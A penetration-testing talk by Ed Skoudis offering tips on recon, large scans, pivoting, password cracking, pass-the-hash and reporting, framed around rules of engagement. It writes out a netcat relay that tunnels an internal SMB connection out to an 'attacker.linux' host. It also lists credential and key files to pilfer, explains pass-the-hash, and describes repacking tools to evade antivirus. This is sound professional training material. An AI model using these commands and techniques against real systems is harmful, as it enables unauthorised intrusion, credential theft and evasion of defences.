Title: Secrets of America’s Top Pen Testers
Subtitle: I Didn’t Come Up With That Title

By Ed Skoudis

Outline

Introduction
• Recon-related tips
• Scanning-related tips
• Network-related tips
• Password-related tips
• Reporting-related tips
• Conclusions
Introduction and Goals

- Penetration testing is a growing field
- While there are standardized methodologies, many aspects of the penetration tester’s job involve art and improvisation
- The purpose of this presentation is to discuss some of the improvisation that our team has done in recent tests...
  - So that you can directly use these concepts and techniques in your own testing regimen
  - To give you a sense of what kinds of improvisation pen testers are often called on to do
  - To solicit nifty ideas from you... I’ll show you mine if you show me yours

Over-Arching Theme

- Pen testing isn’t all about zero-day exploits
  - Don’t get me wrong... I love a good sploit as much as the next guy
- Instead, it is often about using everyday tools and techniques in creative ways to try to find and exploit security flaws
  - The overall goals of most penetration tests are...
    - To identify vulnerabilities
    - To determine the business risk posed by their exploit, and,
    - To devise tactics and strategies for mitigation
About the Tips

• Each tip covers a technique that has helped us:
  1) Save time, or...
  2) Pull off a hack we otherwise could not have accomplished, or...
  3) Have a bigger impact in helping the target organization recognize its risk and improve its security stance
    – These are not mutually exclusive at all, given finite pen testing timeframes, scope, and resources
• Also, each tip is associated with one or more meta-tips
  – Tip: Here’s a technique we use to accomplish more
  – Meta-tip: Here are the tools we use for each technique

Tip 1) Social Networking Sites Are Your Friends

• Social networking sites have exploded
  – Especially among younger employees, more willing to share information about themselves
• A treasure-trove of information
  – Employers, current and previous
  – Technical skills, including product familiarity
  – Relationships between people
  – Interests, hobbies, likes, dislikes, etc.
• So, what can you do with these?
Tip 1) Using Social Networking Sites

- During recon, use social networking sites to determine technologies in use
  - At sites like LinkedIn, look at people’s stated skills and areas of expertise
- Determine the relationship between people
  - Useful in social engineering penetration tests
  - Fred knows Mary... we can use that info to exploit them
- From more personal social networking sites, look at the interests and passions of specific people, allowed for in the project scope
  - What are their hobbies? Sports? Star Trek?

Tip 1) Build Password Guessing and Cracking Dictionaries

- From social networking site pages associated with employees, build custom dictionaries for use in password guessing and cracking
- Grab appropriate profile pages, and save them into a directory, such as “profiles”
- Then, run:
  $ grep -h -r "" profiles | tr '[:space:]' ' ' | sort | uniq > wordlist.lst
  $ grep -v '<' wordlist.lst > newlist.lst
- Use that custom wordlist in THC Hydra for password guessing and John the Ripper for password cracking
Tip 2) Filtering a Scan in Progress

• Scenario: Our team was conducting an internal pen test of a financial services firm
  – We were using a QualysGuard Scanner Appliance to scan large numbers of class-B sized networks
  – Full scan would take many days
  – 2 days into scan, we noticed that the scan was crashing some backup servers when they were accessed on a specific TCP port
    • Let’s call it “Port X” because... ummm... there seems to be an undocumented, possibly exploitable, vulnerability there
  – We paused the scan, of course
• Our goal: Reconfigure the scan and start it again... Nice idea, right?

Tip 2) Transparent Bridging Firewalls

• Unfortunately, there appeared to be no Qualys function for reconfiguring and restarting a scan
• We even called Qualys support to ask them if this was possible...
  – They suggested that we stop, reconfigure, and start the scan again... from the beginning!
• That would have been a huge waste of very expensive on-site time
• Another problem: We were allowed to have only one source IP address
  – Altering it would have been a big problem – going through change control, etc.
  – Routing and NAT were also problematic
• Solution: Deploy a dual home FreeBSD box, configured as a transparent, bridging firewall, filtering TCP Port X
Tip 3) Dealing with Very Large Scans

- Scenario: We are often called upon to scan large numbers of machines
  - Client: “Can you scan all 65,536 TCP and UDP ports on 10,000 machines?”
  - “Oh, and we silently reject packets to closed ports.”
  - With 1 second per port, that’s 1.3 billion seconds
  - Us: “Yes, it’ll take 15,170 days, give or take.”
  - That’s 41 years... check 100 ports in parallel? Still too much time... 5 months
- How can we go faster?

Tip 3) Some Options

- There are numerous approaches for dealing with very large scans
  1) Sample a subset of target machines – Limited – How representative is the sample?
  2) Sample target ports – Limited – What about non-standard ports and backdoor listeners?
  3) Lower time-outs on non-responsive ports – false negative possibilities
  4) Move closer to targets – more expensive, and doesn’t really lower time—that much
  5) Tweak firewall rules to send RESETs and ICMP Port Unreachable messages from closed ports – Ugh! Reconfig to measure behavior?
  6) Use hyper-fast port scanning methods (Kaminsky’s ScanRand with separate SYN sender and SYN-ACK receiver eliminating wait state) – TCP only, plus, watch out! You could DoS yourself!
Tip 3) An Approach We Use A Lot - Review Firewall Rules

- Review network firewall ruleset and measure only those ports that could reasonably make it through the firewall
  - In effect, this is part configuration review and part port scan
  - Overcomes the downsides of only sampling targets or sampling specific ports
    - By sampling ports on a more intelligent basis
  - Often a very effective approach, but doesn’t measure potential firewall bugs
    - And requires more work from target organization personnel
    - Also, doesn’t lend itself to a black-box approach

Tip 4) More Flexible Pivoting with Netcat Gender Benders

- Scenario: Suppose you have a penetration test like this:

  - Suppose you get non-root shell on DMZ Linux box
  - Suppose also that you want to run Windows client software on your machine (psexec? fgdump? net use?) against juicy internal machine
  - We want *really* flexible pivoting – Pivot mercilessly during a pen test
Tip 4) In Other Words (or Picts)

You are here

Client that connects to TCP 445, such as “net use” fgdump, psexec, Metasploit, etc.

DMZ Linux Box

Internet

Target Network

Tip 4) The Answer?  Nope…

• The answer is easy, you say...  
• Just use a Netcat relay on the DMZ Linux Box

$ mknod backpipe p
$ nc -nvlp 445 0<backpipe | nc -nv juicy.internal.system 445 | tee backpipe

• Problem: You can’t reconfigure iptables on DMZ Linux box to allow inbound 445
  – No UID 0 and rules of engagement may not allow

DMZ Linux Box

Netcat client

Netcat listener

Backpipe

Connect to TCP 445

Listening service on TCP 445

You want to make SMB connection to here

You’ve got shell here, but not UID 0
Tip 4) A Better Answer…
Netcat Gender Bender Relays

- Who says Netcat relays have to be listener-to-client?
- What about client-to-client?
- What about listener-to-listener?

Tip 4) The Commands

- On the Attacker’s own system, run a listener-to-listener relay
  $ mknod backpipe1 p
  $ nc -nvlp 445 0<backpipe1 | nc -nvlp 80 | tee backpipe1
- On the DMZ Linux system, run a client-to-client relay
  $ mknod backpipe2 p
  $ nc -nv juicy.internal.system 445 0<backpipe2 | nc -nv attacker.linux 80 | tee backpipe2
Tip 4) Now, Run Any Windows Client App to Access Juicy Target

C:\> net use * \Linux\c$
C:\> psexec \Linux cmd.exe
C:\> fgdump –h Linux

Tip 5) Local Pilfering Is Your Friend

- When you compromise a machine, pilfer its information resources as much as possible
  - Verify that such pilfering is allowed in rules of engagement
- What to grab?
  - Password representations
    - Unix/Linux: /etc/passwd and /etc/shadow or variants
    - Windows: SAM database and cached credentials using fgdump, or at least currently logged on user’s credentials (using whosthere.exe…more on that later)
  - Crypto keys
    - SSH keys for ssh clients and sshd – public and private keys
    - PGP and GnuPG keys – public and secret rings (check rules of engagement)
  - RSA SecureID Authentication Manager server seed files (.asc) for tokens (Good idea, Bryce!)
    - With these files, Cain can calculate tokens’ display at arbitrary points in the future
Tip 5) Pilfering Continued

- Additional items to snag:
  - Source code
    - Especially interesting for web servers... Locally, we can analyze it for vulnerabilities
  - Wireless client profiles, including Pre-Shared Keys
    - PSK isn't currently crackable, but can be directly imported into pen tester's own system... Great idea, Josh!

Tip 5) More Stuff to Pilfer

- Machines with which the compromised system has recently communicated:
  - Windows:
    c:\> netstat -na
    c:\> arp -a
    c:\> ipconfig /displaydns
  - Linux:
    # netstat -natu
    # arp -a
- Additional system-specific information:
  - DNS servers: Zone files
  - Web servers: Document root, especially local scripts
  - Mail servers: E-mail address inventory, address aliases, sample of e-mail that tester sent to it
  - Clients: Inventory of software: c:\> dir /s "c:\Program Files"
  - Many more possibilities here
Tip 6) Optimizing John the Ripper

- The John the Ripper password cracker can be compiled to use specific processor instruction sets to improve performance
  - MMX, Streaming Single SIMD Extensions 2 (SSE2), 64-bit, PowerPC, etc.
- Depending on the password algorithm, John may run two to five times faster when compiled using SSE2 on a modern Intel or AMD processor

```bash
$ make linux-x86-sse2
```

Tip 6) But... I’m Too Late... john.rec is Your Friend

- I had a friend who was running John to crack some LANMAN (LM) passwords
- Cracking had been going for a day, with little success
- I asked if he had compiled John to use SSE2
- He said "no" and didn't want to stop John, re-compile, and then restart John, because he’d be wasting a day of password cracking already done
- But, hit CTRL-C once in John, and it will create a john.rec file, containing its current state
- Re-compile John for SSE2 (but don't overwrite John’s run directory!)
- Invoke John (now with SSE2) again... it'll pick up where it left off
  - Must invoke it with:
    ```bash
    $ ./john --restore
    ```
  - Don't specify a password file... it uses the last one, with all of the same settings!
- And, you now could be running 100 to 400 percent faster
Tip 7) Use John or Rainbow Tables?

- **Traditional password cracking cycle:**
  - Guess, encrypt/hash, compare, repeat
  - Continue until password is cracked
- **Password cracking with Rainbow Tables:**
  - Hash/reduce to build many big chains, store only first and last password in chain
  - Crack by re-inflating chains
  - Not a mere lookup – need to regen chain to crack a hash
  - Uses Time-Memory Trade-off... twice
  - Can crack some password representations very fast (often <1 hr):
    - LANMAN and some NT hashes

Tip 7) John vs. RT: Differences in Speed

- Generally, Rainbow Tables will crack a password faster than traditional password cracking
  - Some Rainbow Tables can get nearly any LANMAN password within an hour
  - But NOT ALWAYS...
    - It depends on many variables: where the hash is located in the given chain where it is represented (near top or bottom), how long it takes to get a collision with the proper chain, etc.
- Leads to weird results:
  - A “simple” password may take 1 hour to determine in Rainbow Tables
  - But, that same password may take 1 second to determine with traditional password cracking (consider a variation of the username as a password)
- You may even see LANMAN hashes where the first 7 char piece cracks faster in Rainbow Tables and the second 7 char piece cracks faster with John...
  - You’ll definitely see that if you take SANS Security 560
Tip 7) So, Which One?
Answer: Both

- For LANMAN and NT hashes, always run both Rainbow Table cracking and traditional password cracking
  - Don’t choose one over the other
- Same box?
  - Ideally, use two different physical machines
  - But, if two aren’t available, Rainbow Table tools usually will steal only a fraction of CPU horsepower from traditional password crackers, which suck up CPU a lot
  - Thus, in a pinch, use one machine (dual core?) to run both tools... you will likely still get your answer more quickly

Tip 8) Optimizing Pass the Hash

- Windows authentication to a domain or a server (LANMAN challenge/response, NTLMv1, NTLMv2) rely on the user’s hash, not the user’s password
- Thus, we can steal the hashes, and use them to authenticate
- Very powerful technique... works like a charm
- But, that’s not the tip...
Tip 8) Optimizing Pass the Hash

- Pass-the-Hash Toolkit by Hernán Ochoa from Core Security
- Modified SAMBA code from JoMo-kun of Foofus
  - Free at http://www.foofus.net/jmk/passhash.html
- Both tools require both the LM and NT hashes as input
  - But, what if you only have NT hashes?
- Why would you only have those?
  - Perhaps the LM hashes got corrupted
  - Perhaps your tool grabbed only NT hashes
  - Perhaps the LM hashes weren’t there… passwords 15 or more characters don’t have a crackable LM hash
- So, are you doomed for pass the hash attacks?

Tip 8) Resolving the Dilemma: A Closer Look at PSHTK

- Pass the Hash Toolkit (PSHTK) includes three parts:
  - whosthere.exe: Dumps current user session information (including hashes) from lsass.exe
  - genhash.exe: Generates LM and NT hash for given password
  - iam.exe: Changes existing hashes in memory to chosen value
    - Must provide it with username and domain name
    - Those are needed for NTLMv2, but not LANMAN challenge/response or NTLMv1
    - Still, you always give those to PSHTK
Tip 8) No Doom... Just Use LM Hash of Padding

• Solution: If you have no LM hashes, in place of LM hash, enter the hash of padding
  – Remember that old AAD3B4... for last 7 characters of a LM hash of password < 8 chars?
• But, what if you don’t remember that hash of padding?
  – Use genhash.exe to create hash of ""
  – Then, use iam.exe like this:

Tip 8) Getting Hashes... But I Don’t Have Admin!

• To dump hashes, you need admin or SYSTEM privs, right?
• Well, yes, to dump all hashes from the box
• But, suppose you’ve exploited a process running as a non-admin account
  – Browser exploit, SQL injection to invoke XP cmd shell on back-end database, etc.
• Can you still get the hashes for that user and do pass the hash as that account?
• Yes! Use whosthere.exe to get the hashes of the current user
• Bring the hashes to any other Windows or Linux machine you’d like, with PSHTK or Foofus-modified SAMBA client
• And then, pass the hash from that machine against targets
• On the surface, whosthere.exe doesn't seem that useful... until you really really need it!
Tip 9) Modifying Tools to Dodge AV

- Many very useful tools are detected by Anti-Virus solutions
  - AV prevents them from being executed
  - May also trigger alert and get the penetration tester noticed too early in the test
  - Netcat, John, PSHTK items (genhash, iam, whosthere), etc.

- How to evade AV tools?
  - Shut them off... VERY DANGEROUS, and usually disallowed by Rules of Engagement or target system personnel
  - Beware! The very useful fgdump temporarily disables AV tools
    - According to fgdump helpfile, the –t option "...will test for presence of antivirus without actually running the password dumps"
    - It's not true! It does run the password dumps anyway
  - Instead of shutting off AV tools, let's modify executable so that it is far less likely to be detected, creating polymorphic equivalents

Tip 9) Creating Polymorphic Equivalents to Dodge AV

- Many tools for packing / altering executables to evade AV
- LordPE by Yoda
  - Good mods, but use Hex Editor to remove “LordPE” string near start of file to dodge AV
- UPX by Markus F.X.J. Oberhumer, Laszlo Molnar, & John F. Reiser
  - Nice mods, but many AV tools can detect most compression options...
  - -1 compress faster... -9 compress better... Option -2 seems best to dodge AV
- PE Scrambler by Nick Harbour
  - First place winner of Race-to-Zero contest at Defcon 16
  - Was available at www.microsoft.net
  - Recently taken down
  - This kind of thing happens a lot with this kind of tool
- You may want to write your own... or get to know one of the authors
Tip 10) Reporting Effectively

- Always write a report
  - Even if you are on the in-house security team testing your own enterprise
- Focus your report on the business implications
  - How could a bad guy damage the enterprise given the vulnerabilities? Paint a picture in terms of business risk
  - Why are these things the way they are?
  - How can we change the practices that resulted in these flaws?
    - Not just applying an individual patch – but improving the patching process
    - Not just tweaking this or that aspect of an application, but improving the development process

Tip 10) More About Reporting

- Provide enough detail about your methodology and findings so that a technically solid pen tester could replicate your work
- Provide an action plan based on time
  - Not necessarily the same as that based on risk
  - Which items should be accomplished immediately (say, within a week)
  - Which should be done within a month, a quarter, a half, and a year?
  - Gives your report usefulness over the longer span
Conclusions

• Penetration testing tools are becoming more powerful
  – Tracking along with the attacks of actual bad guys
• We must keep up, so that we can determine business
  risks associated with vulnerabilities
• Get to know each tool in depth, realizing its limitations
  and working creatively to bypass them
• Don’t think of your tools as just point and shoot
• Think of each tool as a means to accomplish a (usually
  rather limited) goal
• Think flexibly about how to apply each of these tools
  together in a structured attack
• Relentlessly pivot (within scope)
• And, always remember: The penetration test doesn’t end
  when you get shell
  – That’s when things just start to get interesting!

A Challenge For You

• I write hacker challenges... Little
  puzzles for security personnel
  – Over 25 in total at
    www.counterhack.net
• Competitions to win prizes
• The latest challenge is available
  for you at www.ethicalhacker.net
  – It’s penetration test related
  – You must come up with strategy and
    tactics to rescue Kris Kringle
• “Santa Claus is Hacking To Town”